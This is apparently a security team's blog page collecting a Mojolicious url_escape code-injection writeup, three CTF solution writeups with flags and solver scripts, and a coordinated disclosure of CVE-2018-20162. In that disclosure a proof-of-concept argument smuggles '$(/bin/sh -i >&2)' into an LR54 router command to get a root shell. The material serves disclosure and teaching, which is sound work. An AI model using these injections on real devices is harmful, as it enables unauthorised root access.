Mojolicious: Executing code with url_escape()

08/04/19 — sgo

failraptor

Let’s look at the url_escape function in the Mojolicious web framework for Perl 5, and how it can be used to evaluate code through the second argument of the function.

TLDR;

use Mojo::Util qw(url_escape);
url_escape('some-stuff', '\w](?{die()})|[a'); # Dies!

The url_escape function

This function is a part of the very useful Mojo::Util library.

It accepts a list of two arguments:

  1. A string to escape $str
  2. An optional pattern that determines what characters to escape $pattern

Some usage examples:

url_escape('foo/bar.baz'); # Returns "foo%2Fbar.baz"
url_escape('foo/bar.baz', '/.'); # Returns "foo%2Fbar%2Ebaz"

This is the implementation in Mojolicious v8.13:

sub url_escape {
  my ($str, $pattern) = @_;

  if ($pattern) {
    unless (exists $PATTERN{$pattern}) {
      (my $quoted = $pattern) =~ s!([/\$\[])!\\$1!g;
      $PATTERN{$pattern}
        = eval "sub { \$_[0] =~ s/([$quoted])/sprintf '%%%02X', ord \$1/ge }"
        or croak $@;
    }
    $PATTERN{$pattern}->($str);
  }
  else { $str =~ s/([^A-Za-z0-9\-._~])/sprintf '%%%02X', ord $1/ge }

  return $str;
}

When url_escape is called with a $pattern it hasn’t seen before, it will generate, string eval and cache a function to handle this specific pattern. Subsequent calls with the same $pattern will re-use the generated code.

So, an input parameter to the function is interpolated into a string which is evaled… Interesting! Let’s try to inject some code. :D

Quoting

(my $quoted = $pattern) =~ s!([/\$\[])!\\$1!g;

The $pattern input value is quoted with the expression s!([/\$\[])!\\$1!g; and stored in $quoted before it’s interpolated into the string of code to be evaled, preventing us from ending the pattern part of the string substitution. Damn… So close!

Code Subpattern

It doesn’t appear that we can (easily) break out of the substitution expression, so let’s try something inside the expression instead, like (?{ code }).

code subpattern: A regular expression subpattern whose real purpose is to execute some Perl code—for example, the (?{…}) and (??{…}) subpatterns.

Very nice, but this can be a bit dangerous, as the perlre doc points out:

[..] for reasons of security, use re ‘eval’ must be in scope. This is to stop user-supplied patterns containing code snippets from being executable. In situations where you need to enable this with use re ‘eval’ , you should also have taint checking enabled. Better yet, use the carefully constrained evaluation within a Safe compartment. [..]

Normally, adding (?{ code }) to a pattern through string interpolation would result in a fatal error, unless use re 'eval' is set. But since the code we want to tamper with is string evaled, these restrictions do not apply.

Crafting the $pattern argument

This is what we want to execute:

die()

Let’s wrap die() in a code subpattern and add some stuff to both sides of it to make it match and compile.

'\w](?{die()})|[a'

Passing this $pattern to url_escape makes it generate code that looks like this:

sub { $_[0] =~ s/([\w](?{die()})|[a])/sprintf '%%%02X', ord $1/ge }

So we’re left with:

url_escape('some-stuff', '\w](?{die()})|[a'); # Dies!

Is this a vulnerability?

The Mojolicious team reviewed a PoC before this post and concluded that it was not a security vulnerability.

This behaviour is not exploitable unless the function is used incorrectly. It could for example allow for vulnerability chaining if a bug is found that allows an attacker to control the $pattern argument.

How to create vulnerable code:

  1. The most obvious way to create a vulnerability is to expose the second $pattern argument of url_escape directly to user input. Game Over.

  2. A more subtle way is by having another function return a list an attacker can control as arguments to url_escape.

    use Mojo::Util qw(url_escape);
       
    sub good { return 'some-stuff' }; # returns 1 string
    sub evil { return ('some-stuff', '\w](?{die()})|[a') }; # returns 2 strings
       
    url_escape( good() ); 
    url_escape( evil() ); # Dies!
    

    Variations of this belong to a class of vulnerabilities in Perl web applications that are generally well known.

Takeaways

Regular expressions in Perl are very powerful, functions that return lists can be scary, and library functions can have hidden features.

Solution to UTCTF 2019 - Jacobi's Chance Encryption

16/03/19 — capitol
Name:

Jacobi’s Chance Encryption

Category:

crypto

Points:

750

Writeup

red herrings

We got this challenge text and an implementation of a strange crypto system that we needed to break:

Public Key 569581432115411077780908947843367646738369018797567841

Can you decrypt Jacobi’s encryption?

def encrypt(m, pub_key):
    bin_m = ''.join(format(ord(x), '08b') for x in m)
    n, y = pub_key

    def encrypt_bit(bit):
        x = randint(0, n)
        if bit == '1':
            return (y * pow(x, 2, n)) % n
        return pow(x, 2, n)

    return map(encrypt_bit, bin_m)

And also the encrypted flag.

Looking at the implementation it does some really strange things. It loops over every bit in the plaintext and gets a large random number x. Then it checks if the bit is 1 or 0 and encodes that information as either y * x2 or x2 in the congruence class of y.

There is also a public key involved that’s just two primes multiplied together, but it’s more of a red herring.

This is actually a kind of neat algebra problem. We want to know if a number was a square of itself before it got reduced by modulo n or not, and we know that n and the number are coprime.

As with all math problems, someone has solved this in sage already. The name of the function is kronecker, so all we had to do was to write a small sage program to reverse the crypto function.

file = open("flag.enc", "r")
data = file.readline()

data = data.split(",")

pubkey = list(factor(569581432115411077780908947843367646738369018797567841))

i = 0
str = ""
sol = ""
for b in data:
    if b == "":
        continue

    if kronecker(int(b, 16), pubkey[1][0]) == 0:
        str += "1"
    else:
        str += "0"

    i += 1

    if i % 8 == 0:
        sol += chr(int(str, 2))
        str = ""

print(sol)

The flag was utflag{did_u_pay_attention_in_number_theory}.

Solution to UTCTF 2019 - Super Secure Authentication

12/03/19 — fR30n
name:

Super Secure Authentication

category:

reverse

points:

750

credits:

Big thanks to capitol and karltk for the help around the Java tools!

Writeup

The challenge consisted of the following set of Java (compiled) classes:

Authenticator.class
jBaseZ85.class
Verifier0.class
Verifier1.class
Verifier2.class
Verifier3.class
Verifier4.class
Verifier5.class
Verifier6.class
Verifier7.class

The text description tells us to run: java Authenticator [password], so that’s our starting point. After decompiling Authenticator.class in Ghidra we get the main and checkFlag methods:

void main_java.lang.String[]_void(String[] param1)
{
  boolean bVar2;
  StringBuilder objectRef;
  String pSVar1;
  PrintStream[] objectRef_00;
  
  if (param1.length != (dword)0x1) {
    objectRef_00 = System.out;
    objectRef_00.println("usage: java Authenticator [password]");
    return;
  }
  pSVar1 = param1[0];
  bVar2 = Authenticator.checkFlag(pSVar1);
  if (bVar2 == false) {
    objectRef_00 = System.out;
    objectRef_00.println("Oops, try again!");
  }
  else {
    objectRef_00 = System.out;
    objectRef = new StringBuilder();
    objectRef = objectRef.append("You got it! The flag is: ");
    objectRef = objectRef.append(pSVar1);
    pSVar1 = objectRef.toString();
    objectRef_00.println(pSVar1);
  }
  return;
}
boolean checkFlag_java.lang.String_boolean(String param1)
{
  String objectRef;
  boolean bVar3;
  int iVar1;
  char cVar2;
  StringTokenizer objectRef_00;
  int iVar4;
  StringTokenizer objectRef_01;
  
  objectRef = param1.substring(0,7);
  bVar3 = objectRef.equals("utflag{");
  if (bVar3 == false) {
    return false;
  }
  objectRef = param1;
  iVar1 = param1.length();
  cVar2 = objectRef.charAt(iVar1 + -1);
  if (cVar2 != '}') {
    return false;
  }
  objectRef_01 = new(StringTokenizer);
  iVar4 = 7;
  objectRef_00 = objectRef_01;
  iVar1 = param1.length();
  objectRef = param1.substring(iVar4,iVar1 + -1);
  objectRef_01.<init>(objectRef,"_");
  objectRef = objectRef_00.nextToken();
  bVar3 = Verifier0.verifyFlag(objectRef);
  if (bVar3 == false) {
    return false;
  }
  objectRef = objectRef_00.nextToken();
  bVar3 = Verifier1.verifyFlag(objectRef);
  if (bVar3 == false) {
    return false;
  }
  objectRef = objectRef_00.nextToken();
  bVar3 = Verifier2.verifyFlag(objectRef);
  if (bVar3 == false) {
    return false;
  }
  objectRef = objectRef_00.nextToken();
  bVar3 = Verifier3.verifyFlag(objectRef);
  if (bVar3 == false) {
    return false;
  }
  objectRef = objectRef_00.nextToken();
  bVar3 = Verifier4.verifyFlag(objectRef);
  if (bVar3 == false) {
    return false;
  }
  objectRef = objectRef_00.nextToken();
  bVar3 = Verifier5.verifyFlag(objectRef);
  if (bVar3 == false) {
    return false;
  }
  objectRef = objectRef_00.nextToken();
  bVar3 = Verifier6.verifyFlag(objectRef);
  if (bVar3 == false) {
    return false;
  }
  objectRef = objectRef_00.nextToken();
  bVar3 = Verifier7.verifyFlag(objectRef);
  if (bVar3 == false) {
    return false;
  }
  return true;
}

From the code above we understand that the flag is composed by 8 tokens and has the form utflag{token0_token1_token2_token3_token4_token5_token6_token7}, where each tokenX is validated by each VerifierX.class. So we continue to decompile the first one (Verifier0) of these classes. The decompiled class looks gigantic, but from the code we could spot two important things.

(a) There is a static initializer, which allocates a big string and calls jBaseZ85.decode with it and this is stored in a static member of the class. The code looks something like the following:

void <clinit>_void(void)
{
  StringBuilder objectRef;
  String objectRef_00;
  byte[] pbVar1;
  
  objectRef = new StringBuilder();
  objectRef_00 = new String(<big_string_here>);
  ..
  more allocations of big strings
  ..
  objectRef = objectRef.append(objectRef_00);
  objectRef_00 = objectRef.toString();
  pbVar1 = jBaseZ85.decode(objectRef_00);
  Verifier0.arr = pbVar1;
  return;

(b) The verifyFlag method uses the bytes from above to define a new Verifier0 class and then calls the verifyFlag method defined for that class. It looks like a basic way to obfuscate the real method.

boolean verifyFlag_java.lang.String_boolean(String param1)
{
  Class[] ppCVar1;
  Object[] ppOVar2;
  Class objectRef;
  Method objectRef_00;
  Object objectRef_01;
  boolean bVar3;
  Verifier0 objectRef_02;
  
  objectRef_02 = new Verifier0();
  objectRef = objectRef_02.defineClass("Verifier0",Verifier0.arr,0,Verifier0.arr.length);
  ppCVar1 = new Class[1];
  ppCVar1[0] = String.class;
  objectRef_00 = objectRef.getMethod("verifyFlag",ppCVar1);
  ppOVar2 = new Object[1];
  ppOVar2[0] = param1;
  objectRef_01 = objectRef_00.invoke(null,ppOVar2);
  throwExceptionOp(objectRef_01);
  bVar3 = objectRef_01.booleanValue();
  return bVar3;
}

So from (a) and (b) we have an idea of what we need to do: in order to get to the last state of the Verifier0 class we need to decode those strings with Z85, dump the class, and reverse the verifyFlag method. To automate part of that job we wrote a simple Python 3 script that uses javap to dump the stored strings and pyzmq to decode the new verifier class. After playing a bit with the script we also realized that this obfuscation is done several times.

#!python3
import os
import io
import sys

# install pyzmq with pip!
import zmq.utils.z85

def get_class_bytes_from_verifier(java_bytecode):
    bytes = ""
    lines = java_bytecode.split('\n')
    if len(lines) is 0:
        return ""

    for line in lines:
        str_index = line.find("String")
        if str_index > 0:
            java_str = line[str_index + len("String") :]
            java_str_len = len(java_str)

            if java_str_len > 200 or len(bytes) > 0:

                # complete with padding to match the size as it is expected in z85
                if java_str_len != 10001:
                    java_str += '0' * (10001 - java_str_len)

                print("adding line : {} {}".format(java_str[:10],java_str[-10:]))
                bytes += java_str.strip()

    return bytes.strip()

def dump_byte_code(classname, path):
    javap_ret = os.popen('cd {} && javap -cp . -c {} | grep ldc'.format(path, classname)).read()
    byte_code = get_class_bytes_from_verifier(javap_ret)

    if len(byte_code) is 0:
        print("Finished!")
        return False

    assert(len(byte_code) % 5 == 0)
    print ("Found byte code! dumping...\n")
    with io.open('work/dump.class'.format(classname), 'wb') as f:
        decoded_byte_code = zmq.utils.z85.decode(byte_code)
        f.write(decoded_byte_code)
    return True

def extract_class(classname):
    # cleanup previous job
    os.system("mkdir -p work")
    os.system("rm -fr work")
    os.system("mkdir -p work")

    # dump from the initial directory
    dump_byte_code(classname, ".")

    while dump_byte_code("*", "./work/"):
        pass

if len(sys.argv) > 1:
    extract_class(sys.argv[1])

After running the script with the name of the class we want to dump we get the deobfuscated version of the Verifier0 class!

$ python3 dump.py Verifier0

-- some output we added to see progress --

$ file work/dump.class 
work/dump.class: compiled Java class data, version 52.0 (Java 1.8)

Now is only a matter of dumping and reversing each class. We wrote another Python 3 script with the logic of each token verifier:

#!python3
import string
import hashlib

# calculates the hashCode() of a string like Java does:
def java_hashcode(strval):
    h = 0
    if len(strval):
        for i in strval:
            h = 31 * h + ord(i)
    return h

print("flag: utflag{", end="")
verifier0 = [50, 48, 45, 50, 42, 39, 54, 49]
for i in verifier0:
    print(chr(i ^ 66), end="")
print("_", end="")

verifier1 = [ 0x73, 0x75, 0x6f, 0x69, 0x78, 0x6e, 0x61 ]
# iterate in reverse!
for i in verifier1[::-1]:
    print(chr(i), end="")
print("_", end="")

verifier2 = [ 0x2f01e2, 0x2f7641, 0x331939, 0x3401f7, 0x32a4da, 0x3147bd, 0x3647d2, 0x3147bd, 0x3401f7, 0x338d98 ]
for hashcode in verifier2:
    for i in string.ascii_lowercase:
        if java_hashcode(i + 'foo') == hashcode:
            print(i, end="")
print("_", end="")


verifier3 = "obwaohfcbwq"
for i in verifier3:
    x = ((ord(i) - 0x55) % 0x1a) + 0x61
    c = chr(x)
    print(c, end="")

print("_", end="")


verifier4 = [
        0xd30,
        0xcdf,
        0xe3e,
        0xc73,
        0xd9c,
        0xcc4 ]

for i in verifier4:
    x = int((i - 0x238) / 0x1b)
    print(chr(x), end ="")
print("_", end="")


verifier5 = "8FA14CDD754F91CC6554C9E71929CCE7865C0C0B4AB0E063E5CAA3387C1A8741FBADE9E36A3F36D3D676C1B808451DD7FBADE9E36A3F36D3D676C1B808451DD7"
verifier5 = verifier5.lower()

def verify_flag_verifier5(flag):
    flaghash = ""
    for i in flag:
        m = hashlib.md5()
        m.update(i.encode()) #   md.update((byte)flagbytes[i]);
        tmp = ""  #   ss = new StringBuilder();
        tmp += flaghash #   ss.append(flag_hash);
        # print(len(flaghash))
        dg_bytes = m.digest() #   digest_bytes = md.digest();
        dg_str = dg_bytes.hex() #   digest_str = DatatypeConverter.printHexBinary(digest_bytes);
        tmp += dg_str  #   ss.apend(digest_str)

        flaghash = tmp #   flag_hash = ss.toString();
    return flaghash == verifier5

for i in string.ascii_lowercase:
    for j in string.ascii_lowercase:
        for k in string.ascii_lowercase:
            for l in string.ascii_lowercase:
                    if verify_flag_verifier5(i + j + k +l):
                        print((i + j + k + l), end="")

print("_", end="")


verifier6 = "1B480158E1F30E0B6CEE7813E9ECF094BD6B3745"
verifier6 = bytes.fromhex(verifier6)

def verify_flag_verifier6(flag):
    m = hashlib.sha1()
    m.update(flag.encode())
    dg = m.digest()
    return  dg == verifier6

for i in string.ascii_lowercase:
    for j in string.ascii_lowercase:
        for k in string.ascii_lowercase:
            for l in string.ascii_lowercase:
                if verify_flag_verifier6(i + j + k + l):
                    print(i + j + k + l, end="")
print("_", end="")

verifier7 = "goodbye"
print(verifier7, end="")

print("}")

flag was: utflag{prophets_anxious_demolition_animatronic_herald_fizz_stop_goodbye}

CVE-2018-20162: Digi TransPort LR54 Restricted Shell Escape

17/02/19 — sgo

lr54

The Digi TransPort LR54 is a high speed LTE router commonly used by industry, infrastructure, retail and public transportation.

It supports running python scripts in a restricted sandbox, and has a custom shell accessible over SSH which is subjected to the same restrictions. The underlying OS is therefore inaccessible to the administrator.

I’ve found a way to break out of the sandbox and obtaining a root shell by exploiting the way the cli handles command line arguments when executing python scripts:

When an interactive python process receives a SIGINT (trough CTRL-C), arguments to the script are not properly escaped when passed to the interactive CLI’s error logging handler. This allows an attacker to execute arbitrary commands as root.

To exploit this vulnerability, an attacker needs to have interactive CLI access with ‘super’ privileges. A user with this access level is enabled by default on the device.

Vulnerable

Digi Transport LR54 (and maybe related products like WR64 and WR54)

  • Firmware Version : 4.4.0.26 10/29/2018 21:14:06
  • Firmware Version : 4.3.2.24 09/06/2018 00:58:34

And maybe earlier versions

Mitigation

Users should upgrade to firmware version 4.5.1.4 or newer.

Proof of Concept

  1. Upload sleep.py to the LR54 using scp or sftp, containing:
    import time;time.sleep(10)
    
  2. Execute the following command in the LR54 cli:
    python sleep.py --XXX $(/bin/sh -i >&2)
    
  3. Immediately press CTRL-C after the program starts

  4. You are then dropped to an interactive root shell
    /home/digi/user # uname -a
    Linux (none) 3.10.14 #1 SMP Mon Oct 29 16:18:10 CDT 2018 mips GNU/Linux
    /home/digi/user # id
    uid=0(root) gid=2000(users_rw) groups=2000(users_rw),2002(users_super)
    

Timeline

  • 2018-12-13: Vulnerability discovered
  • 2018-12-14: PoC created, Vendor notified
  • 2018-12-14: Vendor confirmed, 60 day embargo. Applied for CVE.
  • 2018-12-15: CVE-2018-20162 assigned
  • 2018-12-31: Received pre-release firmware. Confirmed not vulnerable.
  • 2019-01-02: Vendor releases fixed firmware 4.5.1.4
  • 2019-01-25: Vendor updated release notes to reference CVE-2018-20162
  • 2019-02-13: Vendor ok’ed disclosure, Embargo lifted

References

Credits

Vulnerability discovered by Stig Palmquist.

Thanks to @duniel_pls and @alexanderkjall for reviewing this report.

Solution to Hackim CTF challenge 2fun

04/02/19 — capitol

jordan

Name:

2fun

Category:

crypto

Points:

500 (variable)

Writeup

We got this challenge text:

24 bit key space is brute forceable so how about 48 bit key space? 
flag is hackim19{decrypted flag}

16 bit plaintext: b'0467a52afa8f15cfb8f0ea40365a6692' 
flag: b'04b34e5af4a1f5260f6043b8b9abb4f8'

And a block crypto implementation:

from hashlib import md5
from binascii import hexlify, unhexlify
from secret import key, flag
BLOCK_LENGTH = 16
KEY_LENGTH = 3
ROUND_COUNT = 16

sbox = [210, 213, 115, 178, 122, 4, 94, 164, 199, 230, 237, 248, 54,
        217, 156, 202, 212, 177, 132, 36, 245, 31, 163, 49, 68, 107,
        91, 251, 134, 242, 59, 46, 37, 124, 185, 25, 41, 184, 221,
        63, 10, 42, 28, 104, 56, 155, 43, 250, 161, 22, 92, 81,
        201, 229, 183, 214, 208, 66, 128, 162, 172, 147, 1, 74, 15,
        151, 227, 247, 114, 47, 53, 203, 170, 228, 226, 239, 44, 119,
        123, 67, 11, 175, 240, 13, 52, 255, 143, 88, 219, 188, 99,
        82, 158, 14, 241, 78, 33, 108, 198, 85, 72, 192, 236, 129,
        131, 220, 96, 71, 98, 75, 127, 3, 120, 243, 109, 23, 48,
        97, 234, 187, 244, 12, 139, 18, 101, 126, 38, 216, 90, 125,
        106, 24, 235, 207, 186, 190, 84, 171, 113, 232, 2, 105, 200,
        70, 137, 152, 165, 19, 166, 154, 112, 142, 180, 167, 57, 153,
        174, 8, 146, 194, 26, 150, 206, 141, 39, 60, 102, 9, 65,
        176, 79, 61, 62, 110, 111, 30, 218, 197, 140, 168, 196, 83,
        223, 144, 55, 58, 157, 173, 133, 191, 145, 27, 103, 40, 246,
        169, 73, 179, 160, 253, 225, 51, 32, 224, 29, 34, 77, 117,
        100, 233, 181, 76, 21, 5, 149, 204, 182, 138, 211, 16, 231,
        0, 238, 254, 252, 6, 195, 89, 69, 136, 87, 209, 118, 222,
        20, 249, 64, 130, 35, 86, 116, 193, 7, 121, 135, 189, 215,
        50, 148, 159, 93, 80, 45, 17, 205, 95]
p = [3, 9, 0, 1, 8, 7, 15, 2, 5, 6, 13, 10, 4, 12, 11, 14]


def xor(a, b):
    return bytearray(map(lambda s: s[0] ^ s[1], zip(a, b)))


def fun(key, pt):
    assert len(pt) == BLOCK_LENGTH
    assert len(key) == KEY_LENGTH
    key = bytearray(unhexlify(md5(key).hexdigest()))
    ct = bytearray(pt)
    for _ in range(ROUND_COUNT):
        ct = xor(ct, key)
        for i in range(BLOCK_LENGTH):
            ct[i] = sbox[ct[i]]
        nct = bytearray(BLOCK_LENGTH)
        for i in range(BLOCK_LENGTH):
            nct[i] = ct[p[i]]
        ct = nct
    return hexlify(ct)


def toofun(key, pt):
    assert len(key) == 2 * KEY_LENGTH
    key1 = key[:KEY_LENGTH]
    key2 = key[KEY_LENGTH:]

    ct1 = unhexlify(fun(key1, pt))
    ct2 = fun(key2, ct1)

    return ct2

print("16 bit plaintext: %s" % toofun(key, b"16 bit plaintext"))
print("flag: %s" % toofun(key, flag))

Lets examine the crypto more in detail, starting with the funtoo function. It takes a key, verifies that it is 6 characters long, splits in in two and runs the fun function twice, with the output of the first round as input to the second. These two rounds turned out to be the weakness of the system, and we could mount a meet in the middle attack with the known plaintext and ciphertext that we go in the challenge text.

The fun function is where all the real crypto work is carried out, it operates on blocks of size 16, with an key that is expanded to 16 bytes with the help of MD5. It does three steps in 16 rounds:

  1. xor the key into the encryption work memory.
  2. apply a sbox, this is just a lookup table that replaces values with other values.
  3. shuffle the bytes around.

At first we thought we maybe could recover the key that was used in the attack by reversing the fun function, or doing some gauss elimination if we represent the crypto as an equation system but that wasn’t possible. Since the key is xored into the work memory at each round we can’t reverse the function to return the key from the plaintext and ciphertext. And doing gauss elimination isn’t possible, because the sbox makes the functions non-linear.

But we did manage to write a version of the fun function that takes the key and the ciphertext and returns the plaintext, and this we used to perform the meet in the middle attack.

The total number of combinations of the key is 2563 * 2563 = 2566 = 281474976710656, which is a too large number to be able to brute force. But we can divide this into 2 parts thanks to the intermediate step. We can create a dictionary consisting of all the possible values for the first part of the key together with what encrypted value it computes to. And then compute the reverse of the second part together with the ciphertext for all keys and compare the result with the values in the hash, when we have a match we will know both the first part and the second part of the key.

This reduces the complexity from 2566 to 2 * 2563.

Below is roughly how the solution code looked, we wrote an inverse version of the fun method and called it with the ciphertext and all combinations of the key and saved the output to a file.

And we did the equivalent thing with the normal fun method and the plaintext and saved that to another file.

sbox_inv = [221,  62, 140, 111,   5, 213, 225, 242, 157, 167,  40,  80, 121,  83,  93,  64, 
            219, 253, 123, 147, 234, 212,  49, 115, 131,  35, 160, 191,  42, 204, 175,  21,
            202,  96, 205, 238,  19,  32, 126, 164, 193,  36,  41,  46,  76, 252,  31,  69, 
            116,  23, 247, 201,  84,  70,  12, 184,  44, 154, 185,  30, 165, 171, 172,  39, 
            236, 168,  57,  79,  24, 228, 143, 107, 100, 196,  63, 109, 211, 206,  95, 170, 
            251,  51,  91, 181, 136,  99, 239, 230,  87, 227, 128,  26,  50, 250,   6, 255, 
            106, 117, 108,  90, 208, 124, 166, 192,  43, 141, 130,  25,  97, 114, 173, 174, 
            150, 138,  68,   2, 240, 207, 232,  77, 112, 243,   4,  78,  33, 129, 125, 110, 
             58, 103, 237, 104,  18, 188,  28, 244, 229, 144, 217, 122, 178, 163, 151,  86, 
            183, 190, 158,  61, 248, 214, 161,  65, 145, 155, 149,  45,  14, 186,  92, 249, 
            198,  48,  59,  22,   7, 146, 148, 153, 179, 195,  72, 137,  60, 187, 156,  81, 
            169,  17,   3, 197, 152, 210, 216,  54,  37,  34, 134, 119,  89, 245, 135, 189, 
            101, 241, 159, 226, 180, 177,  98,   8, 142,  52,  15,  71, 215, 254, 162, 133, 
             56, 231,   0, 218,  16,   1,  55, 246, 127,  13, 176,  88, 105,  38, 233, 182,
            203, 200,  74,  66,  73,  53,   9, 220, 139, 209, 118, 132, 102,  10, 222,  75,
             82,  94,  29, 113, 120,  20, 194,  67,  11, 235,  47,  27, 224, 199, 223,  85]

p_inv = [2, 3, 7, 0, 12, 8, 9, 5, 4, 1, 11, 14, 13, 10, 15, 6]

def fun_rev(key, hash):
    hash = unhexlify(hash)
    ct = bytearray(hash)
    key = bytearray(unhexlify(md5(key).hexdigest()))
    for _ in range(ROUND_COUNT):
      nct = bytearray(BLOCK_LENGTH)
      for i in range(BLOCK_LENGTH):
        nct[i] = ct[p_inv[i]]
      ct = nct

      for i in range(BLOCK_LENGTH):
        ct[i] = sbox_inv[ct[i]]

      ct = xor(ct, key)
    return hexlify(ct)

for k1 in range(256):
  for k2 in range(256):
    for k3 in range(256):
      key = bytearray(3)
      key[0] = k1
      key[1] = k2
      key[2] = k3
      print(hexlify(key) + " = " + fun(key, b"16 bit plaintext"))
      print(hexlify(key) + " = " + fun_rev(key, b'0467a52afa8f15cfb8f0ea40365a6692'))

When we had the two files with all the hashes, we could use some shell magic and the excellent tool comm to find the matching hash.

That gave us the key, which was a277b5c1bc8b in hex and we could write a reverse function of the funtoo method and get the flag:

def toofun_rev(key, hash):
  assert len(key) == 2 * KEY_LENGTH
  key1 = key[:KEY_LENGTH]
  key2 = key[KEY_LENGTH:]

  ct1 = fun_rev(key2, hash)
  ct2 = fun_rev(key1, ct1)

  return ct2

key = unhexlify("a277b5c1bc8b")
print("flag: %s" % unhexlify(toofun_rev(key, b'04b34e5af4a1f5260f6043b8b9abb4f8')))

flag was: hackim19{1337_1n_m1ddl38f}